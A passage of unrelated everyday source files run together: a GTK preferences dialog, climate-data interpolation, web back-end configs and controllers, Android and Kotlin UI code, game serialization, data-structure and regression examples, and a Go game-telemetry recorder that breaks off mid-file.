@http_proxy_vbox.visible = true end end end def initialize_startup_signals @lookup_at_start_checkbutton.signal_connect("toggled") do @prefs.lookup_at_start = @lookup_at_start_checkbutton.active? end @show_in_tray_checkbutton.signal_connect("toggled") do @dont_quit_checkbutton.sensitive = \ @dont_show_at_startup_checkbutton.sensitive = \ @show_in_tray_checkbutton.active? if !@show_in_tray_checkbutton.active? @dont_quit_checkbutton.active = false @dont_show_at_startup_checkbutton.active = false end @prefs.show_in_tray = @show_in_tray_checkbutton.active? if @statusicon @statusicon.visible = @show_in_tray_checkbutton.active? end end @dont_quit_checkbutton.signal_connect("toggled") do @prefs.dont_quit = @dont_quit_checkbutton.active? end @dont_show_at_startup_checkbutton.signal_connect("toggled") do @prefs.dont_show_at_startup = \ @dont_show_at_startup_checkbutton.active? end end def initialize_dictionaries_signals @show_help_button.signal_connect("clicked") do Browser::open_help("fantasdic-preferences") end @preferences_close_button.signal_connect("clicked") do @prefs.enable_proxy = @enable_proxy_checkbutton.active? @prefs.proxy_host = @proxy_host_entry.text @prefs.proxy_port = @proxy_port_entry.text @prefs.proxy_username = @proxy_username_entry.text @prefs.proxy_password = @proxy_password_entry.text @prefs.enable_http_proxy = \ @enable_http_proxy_checkbutton.active? @prefs.http_proxy_host = @http_proxy_host_entry.text @prefs.http_proxy_port = @http_proxy_port_entry.text @callback_proc.call @preferences_dialog.hide end @add_dictionary_button.signal_connect("clicked") do AddDictionaryDialog.new(@preferences_dialog) do |name, hash| hash[:selected] = SEL @prefs.add_dictionary(name, hash) append_dictionary(SEL, name) end end @remove_dictionary_button.signal_connect("clicked") do selection = @dictionary_treeview.selection.selected name = selection[NAME] @list_store.remove(selection) @prefs.delete_dictionary(name) end @configure_dictionary_button.signal_connect("clicked") do selected_iter = @dictionary_treeview.selected_iter dicname = selected_iter[NAME] hash = @prefs.dictionaries_infos[dicname] AddDictionaryDialog.new(@preferences_dialog, dicname, hash) do |new_name, new_hash| if new_name != dicname @prefs.dictionary_replace_name(dicname, new_name) selected_iter[NAME] = new_name end new_hash[:selected] = selected_iter[SELECTION] @prefs.update_dictionary(new_name, new_hash) end end @dictionary_up_button.signal_connect("clicked") do iter = @dictionary_treeview.selection.selected name = iter[NAME] old_path = iter.path new_path = iter.path new_path.prev! model = @dictionary_treeview.model model.move_after(model.get_iter(new_path), iter) sensitize_buttons # up graphically = down in the array @prefs.dictionary_down(name) end @dictionary_down_button.signal_connect("clicked") do iter = @dictionary_treeview.selection.selected name = iter[NAME] next_iter = iter.dup old_path = next_iter.path next_iter.next! new_path = next_iter.path @dictionary_treeview.model.move_after(iter, next_iter) sensitize_buttons # down graphically = up in the array @prefs.dictionary_up(name) end end def initialize_ui @dictionaries_nb_image.pixbuf = Icon::LOGO_22X22 @tray_vbox.visible = !@statusicon.nil? @dont_quit_checkbutton.active = @prefs.dont_quit @dont_show_at_startup_checkbutton.active = \ @prefs.dont_show_at_startup @show_in_tray_checkbutton.active = @prefs.show_in_tray @lookup_at_start_checkbutton.active = @prefs.lookup_at_start @enable_proxy_checkbutton.active = @prefs.enable_proxy @proxy_settings_table.sensitive = @prefs.enable_proxy @enable_http_proxy_checkbutton.active = @prefs.enable_http_proxy @http_proxy_settings_table.sensitive = @prefs.enable_http_proxy @http_proxy_vbox.visible = false @proxy_combobox.model = Gtk::ListStore.new(String) [_("SOCKS 5 proxy"), _("HTTP proxy")].each do |str| row = @proxy_combobox.model.append row[0] = str end @proxy_combobox.active = 0 [[@proxy_host_entry, @prefs.proxy_host], [@proxy_port_entry, @prefs.proxy_port], [@proxy_username_entry, @prefs.proxy_username], [@proxy_password_entry, @prefs.proxy_password], [@http_proxy_host_entry, @prefs.http_proxy_host], [@http_proxy_port_entry, @prefs.http_proxy_port] ].each do |entry,pref| entry.text = pref if pref and !pref.strip.empty? end @list_store = Gtk::ListStore.new(Fixnum,String) @dictionary_treeview.model = @list_store @dictionary_treeview.selection.mode = Gtk::SELECTION_SINGLE renderer = Gtk::CellRendererToggle.new col = Gtk::TreeViewColumn.new("Active", renderer, :active => 0) @dictionary_treeview.append_column(col) renderer.signal_connect("toggled") do |toggled,row_iter| iter = @list_store.get_iter(row_iter) selected = iter[SELECTION] dicname = iter[NAME] if(selected == SEL) iter[SELECTION] = UNSEL @prefs.dictionaries_infos[dicname][:selected] = UNSEL else iter[SELECTION] = SEL @prefs.dictionaries_infos[dicname][:selected] = SEL end end renderer = Gtk::CellRendererText.new renderer.editable = false # to true if lines below commented out col = Gtk::TreeViewColumn.new("Dictionary", renderer, :text => 1) @dictionary_treeview.append_column(col) # renderer.signal_connect("edited") do |entry,row_iter,new| # old = @list_store.get_iter(row_iter)[NAME] # @list_store.get_iter(row_iter)[NAME] = new # @prefs.dictionary_replace_name(old, new) # end sensitize_buttons @dictionary_treeview.selection.signal_connect("changed") do sensitize_buttons end update_dic_list end def sensitize_buttons selected_iter = @dictionary_treeview.selected_iter if selected_iter.nil? @dictionary_up_button.sensitive = false @dictionary_down_button.sensitive = false @remove_dictionary_button.sensitive = false @configure_dictionary_button.sensitive = false else @remove_dictionary_button.sensitive = \ @configure_dictionary_button.sensitive = \ @dictionary_treeview.has_row_selected? iter_last = \ @list_store.get_iter((@list_store.nb_rows - 1).to_s) @dictionary_up_button.sensitive = \ ((selected_iter != @list_store.iter_first) and (not selected_iter.nil?)) @dictionary_down_button.sensitive = \ ((selected_iter != iter_last) and (not selected_iter.nil?)) end end def update_dic_list @list_store.clear @prefs.dictionaries.each do |name| hash = @prefs.dictionaries_infos[name] append_dictionary(hash[:selected], name) end end def append_dictionary(sel, name) row = @list_store.append() row[SELECTION] = sel row[NAME] = name end end end end
import numpy as np import xarray as xr from datetime import datetime from scipy.spatial import Delaunay from scipy.interpolate import LinearNDInterpolator import pandas as pd import dask def surface_temperature(input,grid,data,transform): with xr.open_mfdataset(f"{input['tskin']['ERA5_path']}*.nc",chunks={"time": input['tchunk']}) as ds: tskin = ds.T_SKIN.sel(time=slice(input['start'],input['end']))/data.exnr.sel(z=0).values # Transform from lat lon to rectilinear grid lat_era = tskin.lat.values lon_era = tskin.lon.values Lon_era,Lat_era = np.meshgrid(lon_era,lat_era) X_era,Y_era = transform.latlon_to_xy(Lat_era,Lon_era) # Get time information from era 5 data ts = tskin['time'].values.astype('datetime64[s]') dts = (ts-np.datetime64(input['time0'],'s'))/np.timedelta64(1, 's') # Compute the triangulation for interpolation (stays the same for every time step) tri = Delaunay(list(zip(X_era.flatten(),Y_era.flatten()))) X,Y = np.meshgrid(grid.xt,grid.yt) Lat,Lon = transform.xy_to_latlon(X,Y) # Preallocate variables for time loop and set new shape and coordiantes its = 0 tskin_int = [] new_shape = [tskin.sizes['time'],grid.jtot,grid.itot] new_coords = {'time': dts, 'yt': grid.yt, 'xt': grid.xt} new_dims = ['time','yt','xt'] # Interpolate data from unstructured grid to structured rectilinear grid per time step for tchunk in tskin.chunks[0]: ite = its+tchunk data_slice = dask.delayed(load_data)(tskin,{'time': np.arange(its,ite)},drop=False) tskin_int.append(dask.delayed(interp_tskin)(data_slice,tri,X,Y)) its = ite tskin_int = dask.delayed(np.concatenate)(tskin_int,axis=0) tskin_int = xr.DataArray(dask.array.from_delayed(tskin_int,new_shape,dtype=float), dims=new_dims, coords=new_coords, name = 'tskin').chunk({'time': input['tchunk']}) Lat = xr.DataArray(Lat, dims = ['yt','xt'], coords={'yt': grid.yt, 'xt': grid.xt}, name = 'lat' ) Lon = xr.DataArray(Lon, dims = ['yt','xt'], coords={'yt': grid.yt, 'xt': grid.xt}, name = 'lon' ) tskin_int = xr.merge([tskin_int,Lat,Lon],combine_attrs='drop') # Add transform tskin_int = tskin_int.assign({'transform' : data['transform']}) # Set attributes tskin_int['time'] = tskin_int['time'].assign_attrs({'longname': 'Time', 'units': f"seconds since {input['time0']}"}) tskin_int['xt'] = tskin_int['xt'].assign_attrs({'longname': 'West-East displacement of cell centers','units': 'm'}) tskin_int['yt'] = tskin_int['yt'].assign_attrs({'longname': 'South-North displacement of cell centers','units': 'm'}) tskin_int['lat'] = tskin_int['lat'].assign_attrs({'longname': 'Latitude of cell centers','units': 'degrees_north'}) tskin_int['lon'] = tskin_int['lon'].assign_attrs({'longname': 'Longitude of cell centers','units': 'degrees_east'}) tskin_int['tskin'] = tskin_int['tskin'].assign_attrs({'longname': 'Skin temperature', 'units': 'K'}) tskin_int = tskin_int.assign_attrs({'title': f"tskin.inp.{input['iexpnr']:03d}.nc", 'history': f"Created on {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC", 'author': input['author'], 'time0': input['time0'], 'exnrs': data.exnr.sel(z=0).values}) tskin_int.to_netcdf(path=input['outpath']+tskin_int.attrs['title'], mode='w', format="NETCDF4") return tskin_int def surface_temperature_fine(input,grid): with xr.open_mfdataset(f"{input['inpath_coarse']}tskin.inp.*.nc",chunks={"time": input['tchunk']}) as ds: tskin_fine = ds.sel(time=slice(input['start'], input['end'])).interp(xt=grid.xt+input['x_offset'],yt=grid.yt+input['y_offset'],assume_sorted=True) # Adjust transform tskin_fine['transform'].attrs['false_easting'] = tskin_fine['transform'].attrs['false_easting']-input['x_offset'] tskin_fine['transform'].attrs['false_northing'] = tskin_fine['transform'].attrs['false_northing']-input['y_offset'] proj4 = '' for param in tskin_fine['transform'].attrs['proj4'][1:].split('+'): line = '+'+param if 'x_0' in param: line = f"+x_0={tskin_fine['transform'].attrs['false_easting']} " if 'y_0' in param: line = f"+y_0={tskin_fine['transform'].attrs['false_northing']} " proj4 = proj4+line tskin_fine['transform'].attrs['proj4']=proj4.rstrip() # Set time information ts = tskin_fine['time'].values.astype('datetime64[s]') dts = (ts-np.datetime64(input['time0'],'s'))/np.timedelta64(1, 's') # Set coordinates tskin_fine = tskin_fine.assign_coords({'time': dts, 'xt':grid.xt,'yt':grid.yt}) # Add global attributes tskin_fine = tskin_fine.assign_attrs({'title': f"tskin.inp.{input['iexpnr']:03d}.nc", 'history': f"Created on {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC", 'author': input['author'], 'time0': input['time0']}) tskin_fine.to_netcdf(path=input['outpath']+tskin_fine.attrs['title'], mode='w', format="NETCDF4") return tskin_fine def load_data(var,index,drop=False): return var.isel(index,drop=drop).values def interp_tskin(data,tri,x,y): data_int = np.zeros([np.shape(data)[0],*np.shape(x)]) for it in range(np.shape(data)[0]): interpolator = LinearNDInterpolator(tri, data[it,:,:].flatten()) data_int[it,:,:] = interpolator(x,y) return data_int
import { Module } from '@nestjs/common'; import { ConfigModule, ConfigService } from '@nestjs/config'; import { TypeOrmModule } from '@nestjs/typeorm'; @Module({ imports: [ TypeOrmModule.forRootAsync({ imports: [ConfigModule], inject: [ConfigService], useFactory(configService: ConfigService) { return { type: 'postgres', host: configService.get('DB_HOST') || 'localhost', port: parseInt(configService.get('DB_PORT'), 10) || 5432, username: configService.get('DB_USERNAME') || 'postgres', password: configService.get('SUPABASE_PASSWORD') || 'postgres', database: configService.get('DB_DATABASE') || 'postgres', entities: [__dirname + '/../**/*.entity.{js,ts}'], synchronize: true, }; }, }), ], }) export class DatabaseModule {}
/* * Dubois Traffic Puzzle * Jakob Cornell, 2017 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ package com.duboisproject.rushhour.fragments; import android.os.Bundle; import android.os.Message; import android.content.Context; import android.content.Loader; import android.content.AsyncTaskLoader; import com.duboisproject.rushhour.Application; import com.duboisproject.rushhour.GameStatistics; import com.duboisproject.rushhour.id.Mathlete; import com.duboisproject.rushhour.activities.MathleteIdActivity; public final class PutStatisticsFragment extends LoaderFragment<ResultWrapper<Void>> { /** * ID of this loader, used by the LoaderManager. * This identifies the type of loader rather than any particular loader. */ protected static final int LOADER_ID = PutStatisticsLoader.class.hashCode(); /** * The "what" field of messages this fragment sends to its host on completion. */ public static final int MESSAGE_WHAT = PutStatisticsLoader.class.hashCode(); protected Mathlete mathlete; protected GameStatistics stats; public PutStatisticsFragment() {} protected static final class PutStatisticsLoader extends AsyncTaskLoader<ResultWrapper<Void>> { protected final Context context; protected final Mathlete mathlete; protected final GameStatistics stats; public PutStatisticsLoader(Context context, Mathlete mathlete, GameStatistics stats) { super(context); this.context = context; this.mathlete = mathlete; this.stats = stats; } public ResultWrapper<Void> loadInBackground() { ResultWrapper<Void> wrapper = new ResultWrapper<Void>(); Application app = (Application) context.getApplicationContext(); try { app.getSdbInterface().putStats(mathlete, stats); } catch (Exception exception) { wrapper.setException(exception); } return wrapper; } } public PutStatisticsFragment(Mathlete mathlete, GameStatistics stats) { this.mathlete = mathlete; this.stats = stats; } @Override public void onCreate(Bundle savedState) { setRetainInstance(true); super.onCreate(savedState); Loader l = getLoaderManager().initLoader(LOADER_ID, null, this); if (savedState == null) { // necessary due to bug in Android l.forceLoad(); } } @Override public void onActivityCreated(Bundle savedState) { super.onActivityCreated(savedState); } @Override public Loader<ResultWrapper<Void>> onCreateLoader(int id, Bundle args) { return new PutStatisticsLoader(getActivity(), mathlete, stats); } @Override public void onLoadFinished(Loader<ResultWrapper<Void>> loader, ResultWrapper<Void> wrapper) { Message message = host.getHandler().obtainMessage(MESSAGE_WHAT); message.obj = wrapper; host.getHandler().sendMessage(message); } }
import { ITitreDemarche } from '../../types.js' import { titreValideCheck } from './titre-valide-check.js' import { describe, test, expect } from 'vitest' import { toCaminoDate } from 'camino-common/src/date.js' const titreDemarches: Pick<ITitreDemarche, 'typeId' | 'demarcheDateDebut' | 'demarcheDateFin'>[] = [ { typeId: 'oct' }, { demarcheDateDebut: toCaminoDate('2014-11-02'), demarcheDateFin: toCaminoDate('2019-11-02'), typeId: 'oct', }, ] describe("vérifie la validité d'un titre pendant une période en fonction des phases des démarches", () => { test('retourne vrai si le titre est valide pour la période qui commence avant la date de début et termine après la date de fin', () => { expect(titreValideCheck(titreDemarches, toCaminoDate('2005-01-01'), toCaminoDate('2025-01-01'))).toEqual(true) }) test('retourne vrai si le titre est valide pour la période qui commence avant la date de début et termine avant la date de fin', () => { expect(titreValideCheck(titreDemarches, toCaminoDate('2005-01-01'), toCaminoDate('2015-01-01'))).toEqual(true) }) test("retourne faux si le titre n'est pas valide pour la période qui commence avant la date de début et termine avant la date de début", () => { expect(titreValideCheck(titreDemarches, toCaminoDate('2000-01-01'), toCaminoDate('2005-01-01'))).toEqual(false) }) test('retourne vrai si le titre est valide pour la période qui commence avant la date de fin et termine avant la date de fin', () => { expect(titreValideCheck(titreDemarches, toCaminoDate('2015-01-01'), toCaminoDate('2016-01-01'))).toEqual(true) }) test('retourne vrai si le titre est valide pour la période qui commence avant la date de fin et termine après la date de fin', () => { expect(titreValideCheck(titreDemarches, toCaminoDate('2015-10-01'), toCaminoDate('2025-01-01'))).toEqual(true) }) test("retourne faux si le titre n'est pas valide pour la période qui commence après la date de fin", () => { expect(titreValideCheck(titreDemarches, toCaminoDate('2025-01-01'), toCaminoDate('2030-01-01'))).toEqual(false) }) test('retourne vrai si le titre est en modification en instance au moment de la date de début', () => { const newTitreDemarches: Pick<ITitreDemarche, 'typeId' | 'demarcheDateDebut' | 'demarcheDateFin'>[] = [ { typeId: 'oct' }, { demarcheDateDebut: toCaminoDate('2014-11-02'), typeId: 'oct', }, ] expect(titreValideCheck(newTitreDemarches, toCaminoDate('2020-01-01'), toCaminoDate('2020-12-31'))).toEqual(true) }) test("retourne faux si le titre n'est pas en modification en instance au moment de la date de début", () => { const newTitreDemarches: Pick<ITitreDemarche, 'typeId' | 'demarcheDateDebut' | 'demarcheDateFin'>[] = [ { demarcheDateDebut: toCaminoDate('2014-11-02'), demarcheDateFin: toCaminoDate('2019-11-02'), typeId: 'oct', }, ] expect(titreValideCheck(newTitreDemarches, toCaminoDate('2020-01-01'), toCaminoDate('2020-12-31'))).toEqual(false) }) })
package com.example.taskat.core.ui.adapter.adapters import android.content.Context import android.util.Log import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import android.widget.ArrayAdapter import android.widget.Filter import com.example.taskat.R import com.example.taskat.core.ui.adapter.listener.SetOnClickCountry import com.example.taskat.core.ui.helper.StringResourceHelper import com.example.taskat.databinding.ItemCountryBinding import com.example.taskat.domain.model.Country class CountryAdapter constructor( private val context: Context, private val countryList: List<Country>, private val stringResourceHelper: StringResourceHelper ) : ArrayAdapter<Country>( context, R.layout.item_country, countryList ) { private var filteredCountryList: List<Country> = countryList private lateinit var setOnClickCountry: SetOnClickCountry fun injectLister(setOnClickCountry: SetOnClickCountry) { this.setOnClickCountry = setOnClickCountry } override fun getCount(): Int { return filteredCountryList.size } override fun getItem(position: Int): Country { return filteredCountryList[position] } override fun getView(position: Int, convertView: View?, parent: ViewGroup): View { val itemView = convertView ?: LayoutInflater.from(context) .inflate(R.layout.item_country, parent, false) val countryBinding: ItemCountryBinding = ItemCountryBinding.bind(itemView) countryBinding.tvCountryName.text = stringResourceHelper.getStringFromRes(filteredCountryList[position].nameResId) countryBinding.tvCountryCode.text = filteredCountryList[position].countryCode countryBinding.root.setOnClickListener { setOnClickCountry.onClick(filteredCountryList[position].countryCode) } return itemView } override fun getFilter(): Filter { return object : Filter() { override fun performFiltering(constraint: CharSequence?): FilterResults { val filterResults = FilterResults() val filteredList = if (constraint.isNullOrEmpty()) { countryList } else { filteredCountryList.filter { country -> country.countryCode.contains(constraint) } } filterResults.values = filteredList filterResults.count = filteredList.size return filterResults } override fun publishResults(p0: CharSequence?, results: FilterResults?) { filteredCountryList = results?.values as? List<Country> ?: emptyList() notifyDataSetChanged() } } } }
#pragma once #include <boost/serialization/vector.hpp> #include <boost/serialization/list.hpp> #include "../model/model.h" namespace geom { template <typename Archive> void serialize(Archive& ar, Point2D& point, [[maybe_unused]] const unsigned version) { ar& point.x; ar& point.y; } template <typename Archive> void serialize(Archive& ar, Vec2D& vec, [[maybe_unused]] const unsigned version) { ar& vec.x; ar& vec.y; } template <typename Archive> void serialize(Archive& ar, Speed2D& vec, [[maybe_unused]] const unsigned version) { ar& vec.x; ar& vec.y; } } // namespace geom namespace model { template <typename Archive> void serialize(Archive& ar, Map::Id& obj, [[maybe_unused]] const unsigned version) { ar&(*obj); } template <typename Archive> void serialize(Archive& ar, Loot& obj, [[maybe_unused]] const unsigned version) { ar&(*obj.id); ar&(obj.type); ar&(obj.pos); } template <typename Archive> void serialize(Archive& ar, Dog::Id& obj, [[maybe_unused]] const unsigned version) { ar& (*obj); } /* template <typename Archive> void serialize(Archive& ar, Loots& obj, [[maybe_unused]] const unsigned version) { for (auto &loot : obj) ar& (loot); } */ template <typename Archive> void serialize(Archive& ar, GameSession::Dogs& obj, [[maybe_unused]] const unsigned version) { for (auto &dog : obj) ar& (dog); } template <typename Archive> void serialize(Archive& ar, model::Game::GameSessions& objs, [[maybe_unused]] const unsigned version) { for (auto &odj : objs) ar& (odj); } } // namespace model namespace serialization { // DogRepr (DogRepresentation) - сериализованное представление класса Dog class DogRepr { public: DogRepr() = default; explicit DogRepr(const model::Dog& dog) : id_(dog.GetId()) , name_(dog.GetName()) , pos_(dog.GetPoint()) //, bag_capacity_(dog.GetBagCapacity()) , speed_(dog.GetSpeed()) , direction_(dog.GetDir()) , score_(dog.GetScore()) , bag_content_(dog.GetLoots()) { } [[nodiscard]] model::Dog Restore() const { model::Dog dog{id_, name_, pos_/*, bag_capacity_*/}; dog.SetSpeed(speed_); dog.SetDirection(direction_); dog.AddScore(score_); model::Loots bag_content = bag_content_; for (auto it = bag_content.begin(), itn = bag_content.begin(); it != bag_content.end(); it = itn) { itn = std::next(it); dog.PutTheLoot(bag_content, it); } return dog; } template <typename Archive> void serialize(Archive& ar, [[maybe_unused]] const unsigned version) { ar&* id_; ar& name_; ar& pos_; //ar& bag_capacity_; ar& speed_; ar& direction_; ar& score_; ar& bag_content_; } private: model::Dog::Id id_ = model::Dog::Id{0u}; std::string name_; geom::Point2D pos_; //size_t bag_capacity_ = 0; geom::Speed2D speed_; model::Direction direction_ = model::Direction::NORTH; model::Score score_ = 0; model::Loots bag_content_; }; class GameSessionRepr { public: GameSessionRepr() = default; explicit GameSessionRepr(const model::GameSession& game_session) : map_id_(game_session.MapId()) , last_loot_id_(game_session.GetLastLootId()) , last_dog_id_(game_session.GetLastDogId()) , loots_(game_session.GetLoots()) { for (auto &dog : game_session.GetDogs()) dogs_repr_.push_back(DogRepr(dog)); } [[nodiscard]] model::GameSession Restore( const model::Map* map, bool randomize_spawn_points, const model::LootGeneratorConfig loot_generator_config) const { model::GameSession game_session(map, randomize_spawn_points, loot_generator_config); game_session.SetLastLootId(last_loot_id_); model::GameSession::Dogs dogs; for (auto &dog_repr : dogs_repr_) dogs.push_back(dog_repr.Restore()); game_session.SetDogs(dogs); game_session.SetLoots(loots_); game_session.SetLastLootId(last_loot_id_); game_session.SetLastDogId(last_dog_id_); return game_session; } template <typename Archive> void serialize(Archive& ar, [[maybe_unused]] const unsigned version) { ar& map_id_; ar&* last_loot_id_; ar&* last_dog_id_; ar& loots_; ar& dogs_repr_; } [[nodiscard]] model::Map::Id GetMapId() const { return map_id_; } private: model::Map::Id map_id_{""}; model::Loot::Id last_loot_id_{0}; model::Dog::Id last_dog_id_{0}; model::Loots loots_; std::list<DogRepr> dogs_repr_; }; class GameSessionsRepr { public: GameSessionsRepr() = default; explicit GameSessionsRepr(const model::Game::GameSessions& game_sessions) { for (auto &gs : game_sessions) game_sessions_repr.push_back(GameSessionRepr(gs)); } [[nodiscard]] model::Game::GameSessions Restore(model::Game &game) const { model::Game::GameSessions gs; for (auto &game_session_repr : game_sessions_repr) { auto map = game.FindMap(game_session_repr.GetMapId()); gs.push_back(game_session_repr.Restore(map, game.GetRandomizeSpawnPoints(), game.GetLootGeneratorConfig())); } return gs; } template <typename Archive> void serialize(Archive& ar, [[maybe_unused]] const unsigned version) { ar& game_sessions_repr; } private: std::list<GameSessionRepr> game_sessions_repr; }; class GameRepr { public: GameRepr() = default; explicit GameRepr(model::Game& game) : game_sessions_repr(game.GetGameSessions()) { } void Restore(model::Game &game) const { game.SetGameSessions(game_sessions_repr.Restore(game)); } template <typename Archive> void serialize(Archive& ar, [[maybe_unused]] const unsigned version) { ar& game_sessions_repr; } private: GameSessionsRepr game_sessions_repr; }; } // namespace serialization
package com.example.codeJavaApp; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import java.util.List; @Controller public class AppController { @Autowired private UserRepository repo; @GetMapping("") public String viewHomePage(){ return "index"; } @GetMapping("/register") public String showSignUpForm(Model model){ model.addAttribute("user",new User()); return "signup_form"; } @PostMapping("/process_register") public String processRegistration(User user){ BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(); String encodePassword = encoder.encode(user.getPassword()); user.setPassword(encodePassword); repo.save(user); return "register_success"; } @GetMapping("/list_users") public String viewUsersList(Model model){ List<User> listUsers = repo.findAll(); model.addAttribute("listUsers",listUsers); return "users"; } }
#include "../myHeader.h" template <typename T> class Node { public: T data; Node<T>* prev; Node<T>* next; Node(T value) : data(value), prev(nullptr), next(nullptr) {} }; template <typename T> class DoublyLinkedList { private: Node<T>* head; Node<T>* tail; int size; public: DoublyLinkedList() : head(nullptr), tail(nullptr), size(0) {} void pushFront(T value) { Node<T>* newNode = new Node<T>(value); if (head == nullptr) { head = tail = newNode; } else { newNode->next = head; head->prev = newNode; head = newNode; } size++; } void pushBack(T value) { Node<T>* newNode = new Node<T>(value); if (tail == nullptr) { head = tail = newNode; } else { tail->next = newNode; newNode->prev = tail; tail = newNode; } size++; } void printList() { Node<T>* current = head; while (current != nullptr) { std::cout << current->data << " "; current = current->next; } std::cout << std::endl; } int getSize() { return size; } // Destructor to free allocated memory ~DoublyLinkedList() { Node<T>* current = head; while (current != nullptr) { Node<T>* nextNode = current->next; delete current; current = nextNode; } } }; void doublyLListOps() { DoublyLinkedList<int> dll; dll.pushBack(1); dll.pushBack(2); dll.pushBack(3); dll.pushFront(0); std::cout << "Doubly Linked List: "; dll.printList(); // Output: 0 1 2 3 std::cout << "Size of the list: " << dll.getSize() << std::endl; // Output: 4 }
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateVotingsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('votings', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('member_id'); $table->unsignedBigInteger('candidate_id_1')->nullable(); $table->unsignedBigInteger('candidate_id_2')->nullable(); $table->unsignedBigInteger('candidate_id_3')->nullable(); $table->timestamps(); $table->string('type'); $table->string('ip')->nullable(); $table->foreign('member_id')->references('id')->on('members')->onDelete('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('votings'); } }
const ICrud = require("./../interfaces/interfaceCrud"); const Mongoose = require("mongoose"); const STATUS = { 0:'Desconectado', 1:'Conectado', 2:'Conectando', 3:'Disconenctando' } class MongoDB extends ICrud { constructor(connection, schema) { super(); this._schema = schema this._connection = connection } async isConnected() { const state = STATUS[this._connection.readyState] if(state === 'Conectado') return state; if(state !== 'Conectando') await new Promise(resolve => setTimeout(resolve,1000)) return STATUS[this._connection.readyState] } static connect() { Mongoose.connect( "mongodb://localhost:27017/herois", { useNewUrlParser: true }, function(error) { if (!error) return; console.log("Falha na conexao", error); } ); const connection = Mongoose.connection; connection.once('open', () => console.log('Database rodando!!')) return connection } create(item) { return this._schema.create(item) } read(item, skip = 0, limit = 10) { return this._schema.find(item).skip(skip).limit(limit) } update(id, item) { return this._schema.updateOne({_id: id}, {$set: item}) } delete(id) { return this._schema.deleteOne({_id: id}) } } module.exports = MongoDB;
import pandas as pd from sklearn.model_selection import train_test_split from sklearn.linear_model import LinearRegression from sklearn.metrics import mean_squared_error # 读取数据 data = pd.read_csv("c:/Users/92579/Documents/GitHub/Mathematical-Modeling/比赛记录/2024 MCM/美赛/2024_MCM-ICM_Problems/2024_MCM-ICM_Problems/数据处理.csv") # 选择相关的自变量 features = ["p1_sets", "p2_sets", "p1_games", "p2_games", "score_lead", "Tie_breakers", "server", "serve_no", "game_victor", "set_victor", "p1_ace", "p2_ace", "p1_winner", "p2_winner", "p1_double_fault", "p2_double_fault", "p1_unf_err", "p2_unf_err", "p1_net_pt", "p2_net_pt", "p1_net_pt_won", "p2_net_pt_won", "p1_break_pt", "p2_break_pt", "p1_break_pt_won", "p2_break_pt_won", "p1_break_pt_missed", "p2_break_pt_missed", "p1_distance_run", "p2_distance_run", "rally_count"] # 提取特征和目标变量 X = data[features] y = data["point_victor"] # 将分类变量转化为数值型 X = pd.get_dummies(X) # 将时间序列变量elapsed_time转化为秒 X["elapsed_time"] = pd.to_timedelta(data["elapsed_time"]).dt.total_seconds() # 划分训练集和测试集 X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) # 创建线性回归模型 model = LinearRegression() # 拟合模型 model.fit(X_train, y_train) # 预测 y_pred = model.predict(X_test) # 评估模型性能 mse = mean_squared_error(y_test, y_pred) print(f"Mean Squared Error: {mse}") # 查看模型的系数 coefficients = pd.DataFrame({"Feature": X.columns, "Coefficient": model.coef_}) print(coefficients)
package main import ( "compress/gzip" "flag" "fmt" "io" "log" "os" "time" telemetry_client "github.com/vwhitteron/gt-telemetry" ) func main() { var outFile string flag.StringVar(&outFile, "o", "gt7-replay.gtz", "Output file name. Default: gt7-replay.gtz") flag.Parse() fh, err := os.Create(outFile) if err != nil { log.Fatal(err) } defer fh.Close() var buffer io.Writer fileExt := outFile[len(outFile)-3:] switch fileExt { case "gtz": buffer, err = gzip.NewWriterLevel(fh, gzip.BestCompression) if err != nil { log.Fatal(err.Error()) } buffer.(*gzip.Writer).Comment = "Gran Turismo 7 Telemetry Replay" case "gtr": buffer = fh default: os.Remove(outFile) log.Fatalf("Unsupported file extension %q, use either .gtr or .gtz", fileExt) } gt, err := telemetry_client.NewGTClient(telemetry_client.GTClientOpts{}) if err != nil { fmt.Println("Error creating GT client: ", err) os.Exit(1) } go gt.Run() fmt.Println("Waiting for replay to start") framesCaptured := -1 lastTimeOfDay := time.Duration(0) sequenceID := ^uint32(0) startTime := time.Duration(0) diff := uint32(0) for { // ignore packets that have aldready been processed if sequenceID == gt.Telemetry.SequenceID() { timer := time.NewTimer(4 * time.Millisecond) <-timer.C continue } diff = gt.Telemetry.SequenceID() - sequenceID sequenceID = gt.Telemetry.SequenceID() // Set the last time seen when the first frame is received if lastTimeOfDay == time.Duration(0) { lastTimeOfDay = gt.Telemetry.TimeOfDay() continue } // Finish recording when the replay restarts if gt.Telemetry.TimeOfDay() <= startTime { // The time of day sometimes flaps in the first few frames if framesCaptured < 60 { continue } fmt.Println("Replay restart detected") if b, ok := buffer.(*gzip.Writer); ok { if err := b.Flush(); err != nil { log.Fatal(err) } } break } // Start recording when the replay starts if framesCaptured == -1 && gt.Telemetry.TimeOfDay() != lastTimeOfDay { fmt.Printf("Starting capture, frame size: %d bytes\n", len(gt.DecipheredPacket)) startTime = gt.Telemetry.TimeOfDay() framesCaptured = 0 extraData := fmt.Sprintf("Time of day: %+v, Manufacturer: %s, Model: %s", startTime, gt.Telemetry.VehicleManufacturer(), gt.Telemetry.VehicleModel(), ) if b, ok := buffer.(*gzip.Writer); ok 